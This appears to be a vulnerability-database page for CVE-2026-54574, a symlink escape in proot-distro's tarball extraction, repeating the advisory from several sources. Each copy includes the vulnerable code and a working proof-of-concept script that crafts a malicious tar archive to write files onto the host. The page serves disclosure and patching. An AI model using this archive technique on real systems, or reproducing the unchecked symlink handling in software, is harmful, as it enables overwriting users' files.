CVE-2026-54574
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.
- Record
CVE-2026-54574- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
EUVDEUVD-2026-50408
8.2
proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.
- Record
EUVD-2026-50408- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9xq3-3fqg-4vg7
8.2
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()
Affected Versions
| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |
Vulnerability Description
proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:
- Plant a symlink inside the rootfs whose target is an absolute host path
(e.g.
/data/data/com.termux/files/home). - Write a subsequent regular-file member whose path traverses through that symlink name.
Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.
The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.
Vulnerable Code
proot_distro/commands/install.py, _extract_plain_tar():
elif member.issym():
# linkname taken verbatim from archive — no validation of target
os.symlink(member.linkname, dest) # ← symlink planted on host
elif member.isreg():
dest = os.path.join(rootfs_dir, rel_path)
with open(dest, 'wb') as out: # ← follows symlink above
...
The existing traversal guard only covers member names:
if any(p in ('..', '') for p in rel_parts):
continue # only checks the name, not the symlink target
There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|------------------------------------|:------------------------:|:----------------------------------:|
| Reject .. components | ✅ | ❌ |
| Confirm stays inside rootfs_dir | ❌ | ❌ |
Proof of Concept
Step 1 — Craft a malicious archive
# craft_evil_layer.py
import tarfile, io, hashlib
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
f.write(data)
print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
Step 2 — Install the archive
$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.
Step 3 — Verify proot-distro version
$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Version: 5.0.2
Step 4 — Verify host write
$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
POC_SUCCESS was written…
- Record
GHSA-9xq3-3fqg-4vg7- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
NVD
8.2
proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.
- Record
CVE-2026-54574- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
OSV
8.2
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.
- Record
CVE-2026-54574- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
OSVGHSA-9xq3-3fqg-4vg7
8.2
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()
Affected Versions
| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |
Vulnerability Description
proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:
- Plant a symlink inside the rootfs whose target is an absolute host path
(e.g.
/data/data/com.termux/files/home). - Write a subsequent regular-file member whose path traverses through that symlink name.
Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.
The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.
Vulnerable Code
proot_distro/commands/install.py, _extract_plain_tar():
elif member.issym():
# linkname taken verbatim from archive — no validation of target
os.symlink(member.linkname, dest) # ← symlink planted on host
elif member.isreg():
dest = os.path.join(rootfs_dir, rel_path)
with open(dest, 'wb') as out: # ← follows symlink above
...
The existing traversal guard only covers member names:
if any(p in ('..', '') for p in rel_parts):
continue # only checks the name, not the symlink target
There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|------------------------------------|:------------------------:|:----------------------------------:|
| Reject .. components | ✅ | ❌ |
| Confirm stays inside rootfs_dir | ❌ | ❌ |
Proof of Concept
Step 1 — Craft a malicious archive
# craft_evil_layer.py
import tarfile, io, hashlib
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
f.write(data)
print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
Step 2 — Install the archive
$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.
Step 3 — Verify proot-distro version
$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Version: 5.0.2
Step 4 — Verify host write
$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
POC_SUCCESS was written…
- Record
GHSA-9xq3-3fqg-4vg7- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
OSVPYSEC-2026-3608
8.2
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()
Affected Versions
| Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 |
Vulnerability Description
proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:
- Plant a symlink inside the rootfs whose target is an absolute host path
(e.g.
/data/data/com.termux/files/home). - Write a subsequent regular-file member whose path traverses through that symlink name.
Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.
The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.
Vulnerable Code
proot_distro/commands/install.py, _extract_plain_tar():
elif member.issym():
# linkname taken verbatim from archive — no validation of target
os.symlink(member.linkname, dest) # ← symlink planted on host
elif member.isreg():
dest = os.path.join(rootfs_dir, rel_path)
with open(dest, 'wb') as out: # ← follows symlink above
...
The existing traversal guard only covers member names:
if any(p in ('..', '') for p in rel_parts):
continue # only checks the name, not the symlink target
There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|------------------------------------|:------------------------:|:----------------------------------:|
| Reject .. components | ✅ | ❌ |
| Confirm stays inside rootfs_dir | ❌ | ❌ |
Proof of Concept
Step 1 — Craft a malicious archive
# craft_evil_layer.py
import tarfile, io, hashlib
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
f.write(data)
print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
Step 2 — Install the archive
$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.
Step 3 — Verify proot-distro version
$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Version: 5.0.2
Step 4 — Verify host write
$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
POC_SUCCESS was written…
- Record
PYSEC-2026-3608- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
proot-distroPyPI |
through 5.1.4 | 5.1.5 |
proot-distroPyPI |
before 5.1.5, plus listed versions 5.0.05.0.0b15.0.0b25.0.0b35.0.0b4 Show 8 moreShow less5.0.0b55.0.15.0.25.1.05.1.15.1.25.1.35.1.4 |
5.1.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54574 is a high vulnerability (CVSS 8.2) in Termux Proot-distro, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in proot-distro 5.1.5.
References
github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7
github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45
github.com/termux/proot-distro/releases/tag/v5.1.5
github.com/advisories/GHSA-9xq3-3fqg-4vg7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54574.json
nvd.nist.gov/vuln/detail/CVE-2026-54574
github.com/termux/proot-distro
pypi.org/project/proot-distro
Left out here: the rest of 3 source descriptions. The JSON record has them.